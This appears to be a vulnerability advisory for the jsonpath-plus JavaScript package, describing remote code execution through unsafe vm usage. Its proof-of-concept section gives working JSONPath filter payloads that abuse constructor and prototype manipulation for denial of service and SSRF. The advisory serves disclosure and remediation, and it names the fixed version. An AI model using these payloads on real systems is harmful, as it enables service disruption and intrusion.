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Overview

jsonpath-plus is an A JS implementation of JSONPath with some additional operators

Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to improper input sanitization. An attacker can execute aribitrary code on the system by exploiting the unsafe default usage of vm in Node.

Note:

There were several attempts to fix it in versions 10.0.0-10.1.0 but it could still be exploited using different payloads.

PoC

const { JSONPath } = require("jsonpath-plus");

const pathDoS =
  "$[?(con = constructor; dp = con.defineProperty; gopd = con.getOwnPropertyDescriptor; f = gopd(con, 'entries').value; alt = gopd(con.getPrototypeOf(f), 'apply'); dp(con.getPrototypeOf(_$_root.body), 'toString', alt);)]";
const pathSsrf =
  "$[?(con = constructor; dp = con.defineProperty; dp(con.prototype, 'referrer', _$_root.referrer); dp(con.prototype, 'method', _$_root.method); dp(con.prototype, 'body', _$_root.body);)]";

const result = JSONPath({
  json: {
    referrer: {
      value: "http://authorized.com",
      writable: true,
    },
    method: {
      value: "POST",
      writable: true,
    },
    body: {
      value: "Hello, World!",
      writable: true,
    },
  },
  path: pathDoS,
});

result.toString(); //DoS

//fetch("http://localhost:3000"); // ssrf with possible privilege escalation via lateral movement

Remediation

Upgrade jsonpath-plus to version 10.2.0 or higher.

References

• GitHub Commit
• GitHub Diff
• GitHub Issue